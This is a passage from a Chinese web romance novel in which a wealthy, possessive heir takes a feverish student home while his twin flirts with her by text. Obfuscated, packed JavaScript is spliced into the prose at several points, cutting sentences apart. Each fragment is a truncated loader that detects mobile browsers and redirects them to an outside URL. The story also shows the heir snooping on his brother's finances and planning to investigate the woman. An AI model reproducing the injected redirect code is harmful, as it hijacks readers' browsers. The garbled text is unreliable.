肖序没有再回答她,从旁边递过一瓶清水,顺手拧开。 薛年年下意识接过来,直接开始咕咚咕咚咕咚,烧干的喉管被水流湿润。 “唔,好好喝哦……是甜的。” 话音还未落,肖序的手机突然震动了起来。 薛年年以为是她自己的手机在响,傻乎乎地扑到他身上,去摸他震动的口袋。 肖序灰蓝色的瞳孔略微一颤,下一秒,将她直接按倒在大腿上,让她侧躺。 薛年年挣扎了一瞬,没力气了,便也乖乖地躺了下来。 空余下来的右手盖上她的额头。 肖序接起电话,语调冷淡道:“没事我挂了。” “喂,才刚接就要挂断吗?”肖余觉得他简直不可理喻。 “等会你要说的事,有百分之九十九的概率都很无聊。” 弟弟这种生物,只会在特别想“骚扰”他时,用上这种语气。 肖余嗤笑了一声说:“你有聊,你的事都重要。” “是的。” 肖余:“?” 肖序肯定了他的说法,却听到对面忽然陷入了异常的寂静。 他疑惑了一瞬,问:“挂了?” 肖余无语道:“如果不是——算了,今天是特殊情况,合同上不是写了吗?有重要的事,要通知你。” 虽然他是来炫耀的。 肖序皱了皱眉:“什么事。” 肖余语调懒散道:“我有女朋友了,以后可能会有相当多的一部分支出给她。” “你不要再动不动就把我的经济流水一条一条地拿来看,把这种犯法的事当饭后甜点了。” “……” 肖序没有说话,听到他的警告,只默默退出通话界面,打开了一个黑色的对话框。 肖余仿佛早有预料,冷笑了一声,语调黏腻,故意恶心他:“我亲爱的哥哥,要是你现在就敢去查她,我会马上私人飞机回来和你拼命的。” “确定?” “嗯,当然,我是认真的。”肖余确定道,“我很喜欢她的,很喜欢。” “是吗……”肖序觉得他有点太草率了。 他思索着,右手不自觉往下,指尖摸到了薛年年眼角红色的小痣,细致地摩挲。 薛年年被他摸得有些痒。 眼前的视野被他的手掌完全遮盖住,能看到的地方全是一片漆黑。 她有些不情愿,脑袋晕晕乎乎地非要把它的手摘下来: “别挡着我……在开车,还,还要看路的呀!” 湿润的口腔中呼出热气,滚烫,灼热,混合着一点草药糖浆般的甜香……温度停留在他的掌心。 肖序目光微动,被她虚握着的手逐渐收拢。 薛年年迷茫地看着莫名交握了的手,没明白发生了些什么。 她有些疑惑,只凭借着本能,愣愣地把不属于她的那部分靠近嘴边,接着一口咬住他的骨节。 薛年年迷迷糊糊地想着,“肖序”肯定会喜欢痛,喜欢互动,他们才和好——要和他搞好关系! 但这次不能太用力了……不能留疤。 她无意识地轻轻叼着,过了一会,仿佛安慰般,用湿红的舌尖轻轻舔了一下咬过的地方。 “嗯。” 久违地,无法抑制,肖序闷哼了一声,喉结略微滚动。 声音瞬间被肖余察觉,他震惊地张了张嘴说:“等等,你现在在哪?” “车上。” “车上?玩这么大??你老婆这都愿意陪你???” “还不是我的妻子。” “这是重点吗?你能不能不要一副被迷得神魂颠倒的样子,很恐怖。” 虽然这么说了,肖余却忽然想到,如果他也能在车上被她—— 他捂住自己的眼睛,脑海中闪过各种画面:“以后等她准备好了,我会把她带回家。” “我老婆肯定比你身边那个莫名其妙冒出来的女的好一万倍。” 听到他的话,肖序略微低头,看向躺在他大腿上的人。 薛年年累迷糊了,抱着他的手闭着眼睛,似乎是已经睡着。 肖序任由她抱着,缓声道:“别说梦话了。” 25. 第一次被恋爱脑 她很好。 肖序说话时声音像是在笑,低沉,轻缓,如低音提琴般醇厚。 尾音中的笑意又仿佛在叹息。 他冰冷的手被人抱紧。 或许是感到难受,躺在他大腿上的人无意识地缩成一团,位置不自觉上移,她滚烫的呼吸倾洒在了他坚实的小腹。 肖序望着她,沉默了一秒,忽然,他轻轻将她换为仰躺,没有吵醒她,他将交握的手攥紧。 薛年年迷迷糊糊地抱着属于她的降温器,安静地睡着了。 车内一时只有她均匀的呼吸声。 前面训练有素的司机再也没能忍住,握紧方向盘的手微微颤抖,整个人像被猛抽了一巴掌一样浑身紧绷。 司机强忍着让自己不要产生任何面部波动。 通话里,肖余却被自己亲哥的语气恶心得反胃。 他格外嫌弃道:“我要吐了。” “挂断再吐。” 肖序冷声提醒。 “啧,你们不会还在车上干那种事吧,真服了你,虽然早就知道你不是个什么好东西,但——等等,你现在是在强迫她吗??” 肖余突然想起了一件差点被他遗忘的事情。 “强迫……谁?” “你老婆啊——哦不对,还不是你的妻子。”肖余故意笑道, “上次你不是还‘纠正’过我吗?她不喜欢你。” “……” “然后呢,没强迫?现在你成功让她移情别恋了?” 肖余的声音中带着一点戏谑,然而他的话音落下后,对面长久的沉默却让他的笑容逐渐消失, “怎么不说话?该不会她还是不接受你,现在你要把她带回去关起来吧??” “……” 沉默几秒后,对面回答,“还没到那一步。” 但肖余听他的语气,就知道这种事绝对有可能发生: “那到哪一步了?” “今天她被喜欢的人拒绝了,我在……安慰?” 他斟酌着,说完眉心紧皱,似乎对这句话很不适应。 肖余听到却愣了愣:“趁虚而入啊?真有你的。” 他的伪人亲哥竟然也开始略通人性了? “你用什么安慰的?身体还是金钱?” “都。” “哈哈哈哈哈哈。”肖余觉得今天这通电话打得太值了,“很好,双管齐下。” “如果是一般情况,那我肯定会说她要移情到你身上了。” “也有特殊情况。”肖序确定道。 “当然,鉴于你平时的伪人行径——我劝你去确认一下她是不是个恋爱脑。” “什么意思?” “拒绝算什么?可能那个男的今天拒绝完她,明天又和她说句话,她就回心转意了。” 肖余一副很懂的样子,“只要还有一线希望,她就又会洗脑她自己还有机会,立刻抛弃你,回去追那个——人?这就是恋爱脑。” “……” “人心既求生,也求死。或许她会放弃,或许她会继续单恋,谁知道呢?” 肖序听到他散漫的语气,眉心越发紧皱:“哲学系就学这种东西,弗洛伊德?” “怎么,你不学无术的弟弟看点心理学骗子的书不是很正常吗。”肖余的声音中带着讽刺。 肖序略微沉思了一瞬,问: “按这种说法,你也是恋爱,脑?” “谁说的!我和我老婆顺理成章,情投意合,如胶似漆,天生一对!她才没拒绝过我!”肖余立刻反驳。 嗯,恋爱脑。 肖序确定了。 “我老婆爱我爱得要死!又善良又可爱又会撒娇——”肖余说着说着更起劲了,他今天本来就是来炫耀的, “她可和你身边那个莫名其妙的人不一样,你老婆可能明天就不要你了!” 声音从听筒中清晰地进入他的脑海。 车辆在道路上平稳地行驶。 肖序面无表情地听着,过了一会,他沉默地放下电话,反扣在皮质座椅上。 通话里,聒噪的弟弟还在滔滔不绝地描述他的小女朋友有多好。 肖序没有再理他,目光望向窗外不断倒退的参天树木。 随时……会离开吗? 躺在他身上的人已经睡着了,从头顶落下阴影,浓重的阴影如活物般蔓延,逐渐侵蚀了她的影子。 肖序安静地凝望她,缓慢,加深……他的手指逐渐插入她的指缝。 薛年年对此毫无所觉,甚至还如同回应般,手指下意识想要蜷紧,缝隙却又立刻被他冰凉的指节撑满。 她如同控诉般小小地呜咽了一声,似乎觉得被撑开得很不舒服。 安静地和她待了一会,肖序才缓缓清醒。 他将手机再次拿起,靠近耳边:“可以闭嘴了。” 肖余才不管他,单方面的炫耀已经让他爽飞了,他直言道:“闭嘴?别以为我不知道你挂断电话后要去干什么,你下一秒就要去查她了吧。” “那又如何?”肖序没有否认。 肖余笑了:“你还真是不怕我回来和你拼命啊……” “这不算威胁。” 肖序语调冷淡道,“如果你想阻止我,就不要再说玩笑话。” “哈,别这么严肃嘛我亲爱的哥哥。” 肖余灰蓝色的眼睛逐渐眯起,“你还记得,上次我回国时,买了好多盒拼图吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951815|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的声音中不自觉带上了一丝调侃, “我把每盒里的拼图都倒出来,随便混在了一起,打包藏在了家中的某个角落里。” “如果你敢去查她,它们就会永远藏在那里,永远!” “……你以为我找不出来?” “那你觉得我只在家里藏了吗?”听到他的语气,肖余笑得更开心了。 作为双胞胎,他当然知道怎么能轻易把肖序逼疯。 “现在我们达成一致了吗?哥——嘟……嘟,嘟。” 通话被瞬间挂断。 肖余心情极好地往天上抛了一下手机,接住后,他心满意足地给薛年年发了一条短信: 【甜心甜心!快夸我!!】 薛年年立刻被腰间细微的振动震醒了。 “唔……到,到了?” 她迷茫地眨了眨眼,刚想从某个人肉软垫上起来,还没回过神,就被肖序如同拥抱般用力搂紧。 几乎要令她窒息的拥抱让她的瞳孔逐渐聚焦。 “那,那个……”薛年年的脸颊缓缓变红,小声疑惑道,“肖——你心情不好吗?” “嗯。” 薛年年愣了愣,她莫名觉得肖序此刻的心情或许不是不好,而是很……郁闷? 下颚放在她的肩膀上,他就像只大型的猫科动物一样将她完全包裹住。 薛年年表情呆呆的,如同一个精致又残破的人偶任由他抱了一会。 被人抱着,她又没力气挣扎。 薛年年已经睡醒了,目光开始神游。 她的视线从上到下,从左到右,之前上车时她人是晕的,没来得及观察。 现在有点精力了,薛年年发现这辆车的内饰虽然看起来很简单,但似乎——很贵啊。 她见过最贵的车就是高考后,镇长来表彰她时坐的车。 这辆车……好像明显比那个还要好很多很多? 薛年年呆住了,刚恢复了一点的脑子下意识开始头脑风暴。 肖序还安静地抱着她,渐渐的,他忽然感觉到自己的领口被温热的液体湿润了。 他略微松开,侧头,想知道发生了什么。 薛年年啪嗒啪嗒地掉着眼泪,脑子被震撼得发懵,眼圈红透了:“不……抱歉,我不是故意的!” 肖序!长得好看,身材又好,能力还超强的高岭之花!连她的一百块都不愿意收下的好人! 这么完美的人,竟然! “我能,能问你一个有点冒犯的问题吗?” “……先说。” 薛年年哽咽着,望着面前的人,声音有些崩溃,不自觉为他走投无路的命运悲哀道:“那个,你是不是真的被人包养了啊?” 26. 第一次转账 “那个,那,你是不是真的被人包养了啊?” 薛年年越说声音越小,整句话都模模糊糊的,像把每个字的尾音都吞在了喉咙里。 这种话太难以启齿了…… 薛年年其实刚问出口,就感到有点后悔。 但面前的肖序似乎并没有被她刚才的话冒犯。 他听到后依旧面无表情,只是看上去略有些疑惑—— “……包养?” 肖序根本就没听清她的主语,他也不会往他自己身上想。 包养谁? 他看到薛年年的眼圈哭得红透了,像是他刚刚对她做了十恶不赦的事情。 “为什么……会让你误会在包养?” 肖序的确在疑惑。 他思考起他之前的行为,并不觉得他有做过任何过分的事情。 薛年年听到愣了愣:“是误会吗?” 肖序略微点头,没有直接回答她。 他只是提前给她准备了一点小玩具而已,这算包养?就算不像安慰—— “我以为,会更像贿赂。” 他思考的时候,眼睛幽蓝得深不见底。 肖序近在咫尺的灰蓝色眼睛望向她,缓声道:“本想完全准备好后再带你回去,但现在……也勉强还在掌握之中。” 薛年年没明白他说的话是什么意思。 车辆在他们短暂交谈间,缓缓驶入了一间昏暗的车库。 车库的顶灯霎时打开。 薛年年被强烈的光线照得眯起眼睛。 等她回过神来时,眼前出现的是一间比她家小区车库还大的私人停车场。 为什么她会知道是私人的?因为下一秒,肖序看她好像对周围很好奇,就从旁边取过一个小盒子,递到她手里说: “嗯,小玩具。” 他嘱咐了一句:“感冒好了再玩。” 薛年年愣愣地把盒子打开,看到里面有几个像钥匙一样的东西。 她下意识用指尖戳了戳其中一个,看到不远处,一辆流线型的红色车子前灯忽然闪了一下。 “……什么啊!” 薛年年被突然闪烁的灯光吓到了,立刻往肖序旁边躲,语调格外迷茫。 她的手在躲避时撑到了肖序的大腿上。 单薄的脊背跌进他怀里。 肖序接稳她,手臂顺势将她纤细的腰环住,让她坐到他的腿上。 薛年年已经呆了,在灯光下,她勉强看清了不远处闪灯的是什么东西,那好像不是什么“小玩具”—— 是一辆真的车啊! 看起来好像还是跑车,车身呈现出一种奇异又冰冷的金属质感。 任何像电视里一样,门会用很奇怪的方式向上打开的车,在薛年年眼里都是她想象不到的天价。 那种东西……很贵吧? 她疑惑地侧过头,看到旁边的肖序连目光都没有动一下。 他不说话地坐在那,像一座冷峻又静默的雕塑。 这又是什么意思啊? 盒子里可不止一把车钥匙…… 薛年年烧晕了的脑子运转不过来,语调飘忽地问:“不对,这些……都是要给我吗?” “嗯。” 肖序简短地应了一声,手臂将她的腰圈得更紧。 薛年年现在乖乖地坐在他的怀里。 因为他送了她东西,所以她主动靠近了他—— 看来这么做有用。 弟弟小时候喜欢的东西,薛年年这个年纪的女孩子竟然也会喜欢吗? 肖序思考着,听到身前的人又声音颤抖地问他: “可是,为什么啊?买这些东西不是要花很多钱吗?” 钱对肖序来说只是个数字而已。 他将她的腰贴近他,声音冷淡道:“之前你说过,省略中间步骤,直接用金钱来弥补我们之间的关系。” 可她当时只出了一百块啊! 薛年年觉得肖序有点太亏了,这些“小玩具”明显要花他好多个一百块吧? 她的小市民心态不自觉冒了出来,迷茫道: “等等,我有点没明白……这是你专门为了修补我们之间的关系准备的吗,什么时候的事啊?我们不是今早才刚闹矛盾的吗?” 肖序听到她的疑问,如同机械般,一字一句每一问都回答道: “不算专门,之前为了哄你很早就在准备,是今天早上闹的矛盾。” 薛年年晕乎的脑子已经懵了,胡言乱语起来:“哄我?为什么——不对,好像不是重点!车子我拿来也没用啊,我以为弥补关系只需要单纯的钱而已。” “你的意思是,打算只要钱?” 肖序不太能理解。 薛年年也不是想要钱,她语调零散道:“没,我只是觉得,钱是很有价值的东西,用那么多钱来给我准备……玩具?你不会觉得很心痛吗?” “不会。” 他的话语中连丝毫的犹豫都没有。 薛年年愣了愣,下意识问道:“那多少钱会让你觉得心痛啊?” “如果只是钱,那多少都不会。”肖序语调平淡道。 薛年年觉得他此刻的语气听起来真是不可一世,就算是很有钱的人也会看重钱吧? “我不懂……你的意思是,钱对你来说没有用?什么东西才算有用啊?” “跨国能源的销售配额,联合国大会上几个国家的投票决定权,或者海上航线的分配权限?” 肖序略微思索,仔细回答了她,又认真问道:“你要这些东西吗?” 薛年年都没听懂:“……啊?” 薛年年傻呆呆地坐在他腿上,看到肖序也面无表情地回望她。 车内一时陷入了诡异的寂静。 前面从肖序出生起就一直为他效力的司机,此刻再也绷不住了。 他握紧方向盘的手微微颤抖。 大少爷哎……你根本就不懂该怎么对女孩好吧? 追女生不是这么追的,稍微讲点追人的基本原理行不行? 现在已经不是光用钱就能把一个智力正常的女孩砸晕的年代了——当然像肖大少爷这么有钱的或许也可以。 讨小女孩欢心这种事……你还不如先想想该怎么善用你那张帅气脸蛋和倒三角的身材! 司机当然没敢把这些话直接说出口。 他虽然已经为肖家工作了几十年,但肖序——这个继承人可不是那么好相处的。 肖大少爷今天竟然抱了个陌生的女孩上车,不仅一直在照顾她,给她喂水,现在还准备带她回家…… 这件事已经够惊悚了! 司机靠着多年的专业素养,才强忍着,没有让自己的面部产生任何多余的波动。 车辆在他手下,安全又平稳地驶进升降梯。 薛年年刚才看车进入停车场,都已经准备好要下车去了。 然而此刻车子又行驶进了一个电梯一样的空间,她这才猛然意识到,肖序之前和她说的“家”……好像是能直接开车进去的! 等,等等。 有谁会在家里专门给车子装一部电梯啊!他家是有多大? 薛年年张了张嘴,什么都没敢问出口。 等到车辆最终安稳地停下。 另一个西装革履的保镖已经等候在门外,伸手,恭敬地帮他们打开车门。 薛年年坐在肖序的腿上,脚尖下意识想去触碰地面,下一秒,她就感觉到自己的小腿再次悬空了。 她立刻拽住肖序的衣服,生怕自己掉下去,小声喊道:“能,我能自己走的!” “腿受伤了。”肖序冷声提醒。 薛年年被他一说,这才反应过来,她膝盖后方好像被椅子撞伤过: “其实没有很痛……我小时候被打过很多次,不严重的……这点伤口,伤不算什么的,你,你先放我下来,我能自己走!” “……” 她的脸颊还呈现着不自然的绯红,声音也虚弱得无法轻易听见。 只是在车上睡了一会,稍微恢复了些精力而已。 她还没有完全清醒。 肖序没有理她,只将她发烫的脑袋按到肩膀上,手垫在她的大腿下方,把她带进了一个房间里。 客厅和厨房之类的必要空间,薛年年这一路上全都没见到。 这一层似乎全是各种房间。 周围的装饰简约又雅致,是冷色调,和肖序眼睛的颜色很像。 下车后没走过久,她就被抱着直接进了卧室。 还没反应过来,一个像是管家的人就领着几个医生和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983098|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护士走了进来,连带着一些像是生命体征测试仪的精密设备。 后背刚被放到柔软的床垫上。 薛年年就听到肖序对一旁的管家说:“之后,把肖家所有的家具全部换掉。” 她没明白这句话是什么意思。 肖家……又是哪?这里不就是肖序的家吗? 护士们迅速,匆忙但有序地在她的床头挂上葡萄糖,营养剂……她们给她采血,测体温。 医生用设备检测着她的体征,又询问她有哪些不舒服的地方。 薛年年都来不及对那么多陌生人感到害怕了。 她烧得呆呆地坐在床上,医生问一句她答一句,脑子里却没有留下任何记忆。 护士给她检测完,喂她吃了退烧药,膝盖下的伤口也都被包扎完毕。 做完这一切。 管家和医生护士们又很快收拾好设备和药品,悄无声息地离开了。 他们安静地来,安静地走。 那么多的人和设备,却连一丁点多余的声音都没有发出来,甚至可能连呼吸声都没有。 薛年年茫然地眨了眨眼,看到宽阔的房间霎时变得空空荡荡。 不远处,大概是肖序在那里……他正坐在离她床头不远的地方,似乎正在看一份文件。 如今房间内突然安静了下来,薛年年莫名觉得有点不自在。 她想了想,掀开搭在她腿上的被子,想走到他旁边去。 然而刚一动,肖序就有所察觉。 他将文件放下,坐到她的床边。 伸手拨开她额前凌乱的碎发,薛年年眼神涣散地望着他,忽然感觉到腰间的手机又震动了一下。 她拿了出来,看到是一条银行的【通知短信】。 上面显示了一个陌生账户给她的转账,后面转账金额里的“00000000”,薛年年只在室友打欢乐斗地主时看到过那么多。 “这是……我的银行账号?”薛年年都没意识到发生了什么。 “不是说月末了吗。” 肖序语调平淡道,“零用钱。” “给我的?”原来除了小玩具,还有其它东西啊。 薛年年像是没有知觉一样,把短信关闭,顺手点开了聊天对话框。 在她跟肖序回家期间,有好多人给她发过短信,最上面一条就是李娅宁发给她的。 薛年年下意识点开,看到李娅宁激动地给她发了好多内容,还有图片—— 【乖乖!你别管柳三分钟今天和你说了些什么,他就是个白痴!!!】 【让他见鬼去吧!】 【旧的不去新的不来,上次你不是很感兴趣吗,模子哥我已经给你找好了!随点随到!】 【联系方式】、【名单】、【图片】…… 图上全是脱得只剩裤子的模子哥,薛年年甚至还在其中,看到了最近那几部热播剧的男主角们。 满屏幕的扔子图把她的眼睛都晃花了,薛年年立刻回道:【》》我有点晕】 【晕奶是正常现象,多看看就能适应了,挑好了吗?忘掉柳思睿,多点几个,都算我头上,今天我请——】 屏幕忽然被一只手盖住。 后面的内容看不见了。 薛年年茫然地想抬起头,却感觉到头顶被人摸了摸。 身旁的人取走她的手机,放到床边的柜子上,冷声对她说:“该睡了。” 话音刚落,薛年年就感觉到自己的后背轻轻落到了床垫上。 她的眼睛被人捂住,顺势闭上眼。 疲惫和虚弱席卷了她的全身。 灯光关闭,窗帘被拉紧。 薛年年安静地躺在黑暗中,熟睡了几个小时,等到她额头的温度褪去,身上恢复了一些力气,她才逐渐有了知觉: 被子里好暖和,是香的,有薄荷味……她现在穿着睡衣吗?谁给她换的?布料好软……她的账户里好像还突然多了好多钱,月末了,挺好的,一会醒了可以去吃一顿—— 不对!!! 薛年年猛然惊醒,从床上坐了起来。 她拿过放在床头的手机,看到“肖序”早上给她发的短信:【甜心甜心!快夸我!!】 薛年年咬紧嘴唇,啪啪打字道: 【》》骗子!!!!!!!】 27. 第一次威胁 【》》骗子!!!!!!!】 【???】 消息刚发过去,对方瞬间就回应了她。 薛年年醒后没有开灯。 在昏暗又宽阔的房间里,周围格外空旷,此时哪怕她发出一丝细微的声音都会有回响—— 这么大的卧室! 比她家的客厅和厨房加起来都要大! 脑海中不停闪过零碎的回忆,薛年年脑子虽然还晕乎着,但她的智力很正常! 肖序在记忆里给她的感觉…… 已经是有钱到她有点理解不了的程度了。 她望着对话框中的那三个大大的问号,深感自己的同情心被他给欺骗了!! 薛年年没有再回复“肖序”,气呼呼地退出聊天,点开了和运营【卢剑】的对话框: 【》》敲敲,熊先生在吗?】 【哟稀客啊,今天怎么想起来找我了,你的小男朋友没陪你吗?】 【》》你怎么也知道了?不是昨天才……】 【我怎么知道的?鱼崽那狗东西给你告白成功后,马上就来找我贴脸炫耀了!】 【今天一整天他都叼着你的照片在我面前到处晃,看!这是我老婆】 【我说好看,他又冲我叫,说不许我觉得好看,要被他烦死了都】 【》》等等!他有我的照片???】薛年年被这句话吓得心脏差点骤停,根本没注意其他内容。 卢剑立刻发来一个【滑跪.jpg】的表情包说:【唉,我说了你可别生气】 【[图片]就是这张】 【还是之前我发给他的,那天在医院,我偷拍了一张你的背影照,结果被他要过去当了手机壁纸】 薛年年看着屏幕上那张黑乎乎的照片,不明白这张图有什么好看的。 画面里模糊一片,连人的轮廓都分不清,要不是卢剑承认这是他偷拍的,薛年年自己都认不出来这是她。 她略微放下了心,却还是有些担忧地问: 【》》你都跟他说了些什么关于我的事啊?】 【就这张照片,可能还有点其他的吧……记不清了,反正没有很多】 【》》……真的吗?】 【信我!那天鱼崽联系不上你,我连手机号都没给他,害我被他骂得狗血淋头】 【》》啊,你被骂了!会丢工作吗?】 【没啥事,鱼崽人还是很不错的,就是脑子有病】 【除了手机号,其他时候我一般都真假参半地回复他了,没说什么具体的内容】 【别担心,我知道你现在还没准备好,不想这么早就被他找到】 【》》是的,我还有点……总之先谢谢你啦!】 【为大小姐保密是我的荣幸】 卢剑贱兮兮地说:【而且鱼崽这小子太狂了,得好好治治他,哦对了,其实他也藏了很多秘密没告诉你,所以你也千万不要觉得瞒着他有什么负担】 【真是不可思议啊,你们俩这样竟然都能谈上恋爱……】 卢剑不由感叹起爱情的奇妙。 薛年年当然也知道“肖序”肯定故意藏了很多事没告诉他。 他之前在网上竟然还装贫困,说他擦边是为了“挣钱”! 他需要挣什么钱啊? 就她现在躺的地方,薛年年虽然不知道具体价格,但看这大小,把十个她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986854|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖了都买不起! 薛年年气呼呼地问卢剑:【》》那我也能问你一件事吗?鱼崽的家庭条件……其实很好是吧?】 【好得很,他买东西我都怀疑他从来没看过价格】 果然! 大骗子!!! 所以这根本就不算是在和“肖序”谈恋爱吧? 虽然说是她的男朋友,但实际他就只是每天在网上当擦边主播,然后骚哄哄地给她发各种消息而已,薛年年都不知道这种关系应该叫什么。 好诡异的营业方式啊…… 她摸了摸有点昏沉的脑袋,完全没明白这一切都是怎么发生的。 “肖序”家很有钱——那他其实就不需要为他妈妈的医药费打很多份工了。 这虽然是件好事吧…… 但问题又回到了原点,他为什么要在深夜当擦边主播呢? 薛年年陷入了思考,就在她刚刚和卢剑交流期间,她的手机一直在震动。 “肖序”在不停地给她发各种消息,薛年年之前强行忽略掉了,却不断累计得越来越多—— 【???】 【什……为什么会说我是骗子?!我做了什么吗?】 【肯定做了什么吧】 【真的很对不起但是不要用这种语气吓我啊甜心】 【只要想到会被你讨厌我就难受得要窒息了】 【……怎么不理我】 【老婆,宝贝儿,甜心!】 【我都有了你的孩子了!!!】 【[图片]:猫藏在肚子前,衣服里鼓出一团】 【真的要这么狠心吗!不理我明天我就带着孩子吊死在你家门口!】 28. 第一次梦想 【我都有了你的孩子了!!!】 【[图片]:猫藏在肚子前,衣服里鼓出一团】 【真的要这么狠心吗!不理我明天我就带着孩子吊死在你家门口!】 薛年年看他这“大着肚子”一哭二闹三上吊的架势,吓得赶紧给卢剑说了声【谢谢】后,回复了他: 【》》你干嘛!快把孩子放开!】 【谢天谢地我就知道这张照片拍了一定有用!】 【老婆你终于理我了!!!】 【是昨天拍的,猫现在在家睡觉呢[图片:猫咪睡摊成饼的监控]】 照片上,猫咪周围的家居和她现在待的地方风格完全不同。 薛年年盯着图片看了好久,反应过来,这肯定又是“肖序”家的另一套房子! 有钱人! 大骗子!!! 她忿忿地打字道:【》》我生气了!!】 【真生气啦?】 【那看来只能用我的□□来抚慰老婆受伤的心了!】 薛年年:“?” 【[图片:扯黑色紧身衣的领口】 【来,任你处置!】 薛年年本来还在生气,但从黑色紧身衣的领口看进去,肖序的胸简直大得令人绝望。 真不是一般的壮观…… 她的眼睛又被白花花的扔子晃晕了,雷霆小怒道:【》》才没有感觉到安慰!你不许乱脱!】 【语音1’’】 【》》也不许怪叫!】 【语音2’’】、【语音13’】、【语音5’’】 【》》不听不听王八念经!】 【》》你不要再给我发这种东西了,我不听!】 连续不断的语音停顿了一瞬。 过了一会他才又发送道:【老婆……谈恋爱出问题要用沟通来解决,而且你不听怎么知道刚才我说了些什么?】 ……难道误会他了? 薛年年盯着他发来的几条消息,迟疑地点开了那条长一点的语音。 下一秒,她就又被肖序骚哄哄的呻吟声震得在床垫上弹了几下: 【》》混蛋!你又骗我!!!】 【哈哈哈哈哈哈哈哈哈】 【老婆我好喜欢你[爱心][爱心][爱心]】 网上的“肖序”真的热情得像条傻狗一样…… 薛年年第无数次疑惑起他线下怎么能装得那么好? 她强行把还在弹的床垫按下来,缩进被子里。 【喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢】 屏幕上“肖序”还在接连不断地给她发着各种颜色的【爱心】。 满屏幕跳动的小心心把薛年年的眼睛都给看花了。 她晃了晃晕眩的脑袋,把聊天拉回到清爽的顶部,那张黑色紧身衣的照片却又再次撞进了她的视野。 薛年年愣了一下,反应过来问:【》》等等,今晚你竟然还好好地穿着衣服吗?不直播了?】 【没办法,有事】刷屏的小心心暂时停了下来。 薛年年本想问他有什么事,但仔细一想,现在她好像还待在肖序家。 已经是晚上,有外人在,大概是怕被她发现他深夜的秘密,所以肖序才临时决定不直播吧? 白天她烧晕过去了,肖序好心把她带回家里医治。 虽然他还是个大骗子,但他也是个好人啊…… 薛年年的气瞬间消下去了一点,看到“肖序”又给她发来消息说: 【不过我说真的甜心,有问题要用沟通解决】 【刚才你为什么骂我是骗子?】 【》》因为卢剑告诉我,你家其实很有钱……之前竟然还让我包养你,我真的有考虑过这件事情哎,你欺骗了我的同情心!!】 【你想包随时可以包啊,这算什么骗子?】 【》》但是……】 【算你便宜点怎么样?】 【》》我才不要把钱给不需要的人!】 【免费,免费】 【》》免费的才是最贵的!】 【那我倒贴总行了吧,就当我是赔钱货,我来倒贴你[亲亲][亲亲]】 【》》不许亲!】 【不亲会死的】 【》》你身体那么好肯定死不了……但是亲多了会变得很笨!】 【笨就笨呗】 【》》我才不要被笨蛋亲!】 屏幕上“肖序”立刻发来一个【猫咪落泪】的表情包。 他可怜兮兮地蔫成了一团,像是被她训得蹲到了角落里去。 薛年年觉得他真是个笨蛋。 但她其实也挺笨的,她实在想不出来为什么“肖序”家那么有钱,他还要去网上直播? 【》》话说回来,你的家人……他们允许你在网上当主播?】 【没什么允不允许的,他们发现不了】 有他哥这个完美的继承人在,其他人的目光向来看不见他,也无所谓他在干些什么。 肖余向来很有自知之明。 家里唯一能看见他的亲哥又是个疯子。 那家伙如果发起疯来倒是能够轻易发现……但现在他还在强行克制,所以大概率不会查得那么严。 不过他究竟还能控制多久? 肖余也不清楚。 应该不会很久。 因为那个莫名其妙的“嫂子”出现,肖序现在发疯的频率越来越高了,今天在车上竟然还强行让她—— 他就不会这么对甜心。 肖余缓缓呼出一口热气,脑子里控制不住地闪过了各种不合时宜的画面。 他刚坐进一间百人的阶梯教室里,座位前方全是肤色各异,认真听课的学生。 虽然给耶鲁捐栋楼就能拿到毕业证,但偶尔,肖余还是会去上课。 他不会这么对她,不过他……倒是很期待被她这么对待。 最好用力一些,让他更痛一点,在他身上留下各种印记。 讲台上,头发花白的教授正在用拉丁语分析着古罗马时期斯多葛学派的观点—— “Fatavolentemducunt,nolentemtrahunt.” 疼痛是无止境的,只有享受痛苦,才能带来宁静。 肖余将之前扯开的领口整理好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003666|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双腿交叠,将右手随意地搭在桌面。 